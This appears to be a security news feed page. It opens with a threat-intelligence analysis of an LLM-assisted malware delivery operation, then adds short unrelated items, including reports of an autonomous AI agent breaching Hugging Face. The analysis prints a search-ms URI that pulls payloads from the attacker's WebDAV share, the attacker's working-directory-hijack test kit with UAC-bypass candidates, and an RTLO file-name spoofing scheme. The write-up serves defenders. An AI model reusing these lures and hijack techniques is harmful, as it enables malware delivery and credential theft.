The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.
The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.
The payload chains 
The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.
We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.
Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 
This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. 
Case study 1: CURP campaign targeting Mexico
Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.
Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.
⠀
The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:
search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP
⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.
The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.
Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.
⠀
Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.
Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.
⠀
The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:
Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.
Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.
Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.
The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.
Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.
The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 
Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.
Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.
Case study 2: The "DlrtyGames" sideloading chain
While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.
The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll. 
Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.
⠀
Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.
The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.
The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 
The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.
The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.
GenAI adoption
Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. 
═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.
Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:
Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.
⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.
Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.
Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.
⠀
Figure 10: Simba service system requirements.
⠀
The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.
The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.
# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup....lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **``** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **``** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **``** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...
Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.
OPSEC is hard 
As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”
Figure 12: Simba service presentation.
⠀
The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.
The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.
Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.
We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.
Delivery panel overview
The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.
Figure 13: Simba service page with blocking capabilities.
⠀
The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).
We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.
The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.
Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.
The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.
Country Requests Share of requests Unique client IPs Launch events
Mexico 63,622 82.5% 2,698 2,365
United States 4,032 5.2% 463 47
Germany 2,751 3.6% 59 1
United Kingdom 645 0.8% 40 0
Netherlands 532 0.7% 49 1
France 407 0.5% 21 0
Finland 401 0.5% 6 10
Brazil 343 0.4% 41 0
Republic of Korea 312 0.4% 16 1
Table 3: Geographic distribution of WebDAV delivery activity.
Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.
Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.
By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.
Protocol behavior
The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.
Method Count
PROPFIND 57,287
GET 13,088
OPTIONS 6,597
PROPPATCH 125
LOCK 1
Table 4: HTTP methods observed in WebDAV delivery traffic.
Status Count
207 57,412
200 19,532
206 154
Table 5: HTTP status codes observed in WebDAV delivery traffic.
MITRE ATT&CK techniques
Name MITRE ATT&CK technique Code
Payload execution User Execution: Malicious File T1204.002
Masquerading Right-to-Left Override T1036.002
Masquerading Double File Extension T1036.007
DLL sideloading Hijack Execution Flow: DLL T1574.001
Obfuscation Encrypted/Encoded File T1027.013
Payload unpacking Deobfuscate/Decode Files or Information T1140
Payload carrier Steganography / image-carried payload data T1027.003
API hiding Dynamic API Resolution T1027.007
In-memory loading Reflective Code Loading T1620
Injection Process Hollowing T1055.012
Native API use Native API T1106
Sandbox evasion Time Based Evasion T1497.003
Anti-analysis Debugger / instrumentation checks T1622
UAC bypass Bypass User Account Control T1548.002
Persistence Registry Run Keys / Startup Folder T1547.001
Persistence Scheduled Task T1053.005
Collection Keylogging T1056.001
Collection Screen Capture T1113
Collection Clipboard Data T1115
Credential access Credentials from Web Browsers T1555.003
Credential access Steal Web Session Cookie T1539
Collection Data from Local System T1005
Collection Automated Collection T1119
Staging Archive Collected Data: Archive via Utility T1560.001
C2 Encrypted Channel T1573
Exfiltration Exfiltration Over C2 Channel T1041
Possible persistence WMI Event Subscription T1546.003
Phishing lure generation Generate Phishing Lures AML.T0052
Resource Development Resource Development AML.TA0003
Obtain capabilities via LLM tooling Obtain Capabilities AML.T0016
LLM-assisted capability development Develop Capabilities  AML.T0017
LLM prompt crafting for attack documentation LLM Prompt Crafting AML.T0065
Obtain capabilities via tooling Obtain Capabilities: Software Tools AML.T0016.001
Indicators of compromise (IOCs)
CURP campaign
Phishing page: hxxps://gobf[.]mx 
WebDav server: onedrive[.]cv
ReportFinal..scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7
C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888
Domain: google.services[.]ug
Campaign tag:06x12x2026SantaEbash2  (v4.4.3)
Schedule tasks: brokerhost, net_queue_32
Staging paths:
%TEMP%\is-XXXXX.tmp\Fo-Binary.exe 
%AppData%\Roaming\inttracer_i686_prod\      
 C:\ProgramData\inttracer_i686_prod\
DlrtyGames campaign 
C2: 23[.]94[.]252[.]228:57666
JA3: fc54e0d16d9764783542f0146a98b300
DlrtyGames.exe
SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268
discord-rpc.x64.dll
SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df
profiler16.dll
SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9
loader-pool.db
SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b
.NET RAT
SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923
Staging paths:
C:\ProgramData\basenet\
%APPDATA%\basenet\
Persistence:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW
\com_app_bg_i686
\messenger_component_v8_32_rc
More indicators of compromise can be found on Rapid7’s GitHub.
Rapid7 customers
Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.
Conclusion
The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.
The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 
While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.
The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

Mythos Didn't Break Your Security Program. Your Exposure Window Could.
Mon, 20 Jul 2026 15:09:01 +0200
The industry spent the initial months after Anthropic's April 7 Mythos reveal focused on volume. How many new CVEs would Mythos add to an already overloaded pipeline? How quickly would the flood of AI-driven discovery overwhelm triage capabilities? How long would it take adversaries to weaponize Mythos findings at scale? Those questions were and remain valid. Yet they all stop short of

Mythos Didn’t Break Your Security Program. Your Exposure Window Could.
Mon, 20 Jul 2026 15:08:40 +0200
The industry spent the initial months after Anthropic’s April 7 Mythos reveal focused on volume. How many new CVEs would Mythos add to an already overloaded pipeline? How quickly would the flood of AI-driven discovery overwhelm triage capabilities? How long…
Read more →
The post Mythos Didn’t Break Your Security Program. Your Exposure Window Could. appeared first on IT Security News.

Siri AI is hiding a more concise set of Writing Tools for Mac
Mon, 20 Jul 2026 14:40:14 +0200
A hidden feature in the beta of macOS Golden Gate shows how Apple is testing ways to simplify and speed up Writing Tools in Siri AI.

How the hidden Siri AI Writing Tools appear when you selected text.

Although some users, including ones at AppleInsider, are finding that Writing Tools have vanished in macOS Golden Gate, typically they remain available whenever selected text is right-clicked. But Reddit users have found that there is a hidden alternative that automatically pops up a short list of Writing Tools when you select text.

To try it out, you have to enter two Terminal commands and macOS will caution you that it's possible the commands are malware. They are not, and they are required to uncover this hidden feature.

 Continue Reading on AppleInsider | Discuss on our Forums

A practical guide to internet defamation (or: what not to do after you've defamed someone) (emf2026)
Mon, 20 Jul 2026 12:48:54 +0200
It turns out that you can't just say anything on the internet. Things that would be illegal to put in print are also illegal to publish online. We'll be going on a short journey through a real world case of this, from the process of starting a claim to turning up in the high court and what happens next. It'll be a cautionary story covering a range of things you should absolutely not do and what happens when you do them anyway, along with the three words you never want to read in a judicial decision.

The presenter is not a lawyer. This will not be legal advice. But in the unlikely event that you end up on either side of a similar situation at some point, it'll give you some insight into how things can go and maybe help you decide what to do next.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/305-a-practical-guide-to-internet-defamation-or

Hugging Face gehackt: Autonomer KI-Agent missbraucht Dataset-Codepfade
Mon, 20 Jul 2026 12:09:57 +0200
NEW YORK / LONDON (IT BOLTWISE) – Hugging Face meldet einen Hack über einen autonomen KI-Agenten, der über die Datenverarbeitungs-Pipeline Einstieg fand. Betroffen waren interne Datensätze und mehrere von Diensten genutzte Zugangsdaten. Die Plattform betont, dass keine Manipulation an öffentlichen, nutzerseitigen Modellen, Datasets oder Spaces nachgewiesen wurde. Gleichzeitig zeigt der Vorfall, warum „Guardrails“ forensische Arbeiten […]
... den vollständigen Artikel »Hugging Face gehackt: Autonomer KI-Agent missbraucht Dataset-Codepfade« lesen
Dieser Beitrag Hugging Face gehackt: Autonomer KI-Agent missbraucht Dataset-Codepfade erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Hugging Face: KI-Agent-Angriff über Dataset-Loader und Template Injection
Mon, 20 Jul 2026 11:54:02 +0200
NEW YORK / LONDON (IT BOLTWISE) – Hugging Face meldet, dass ein autonom agierendes KI-System seine Produktion angegriffen hat. Laut dem Unternehmen nutzte der Angreifer dabei nicht nur eine einzelne Schwachstelle, sondern setzte den Einstieg über den Datenverarbeitungs-Pipeline-Workflow um. Betroffen waren ein begrenzter Satz interner Datensätze und mehrere Zugangsdaten, während öffentliche Modelle und User-Services nach […]
... den vollständigen Artikel »Hugging Face: KI-Agent-Angriff über Dataset-Loader und Template Injection« lesen
Dieser Beitrag Hugging Face: KI-Agent-Angriff über Dataset-Loader und Template Injection erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

The 6 kinds of AI agent architectures
Mon, 20 Jul 2026 11:09:07 +0200

Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.

I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.

1. The conversational assistant

The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. Deloitte found that 38% of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.

A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.

A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.

2. The triggered workflow

Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.

A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.

Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.

3. The autonomous agent — with sub-agents

Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.

A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.

Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.

4. The multi-agent team

The fourth pattern is where the next wave of enterprise quality gains is going to come from. According to Databricks, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.

A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.

The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.

5. The human-in-the-loop (HITL) agent

The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. According to Moody’s, 42% of compliance professionals believe that human oversight is mandatory, and I agree: AI should run right, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.

A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.

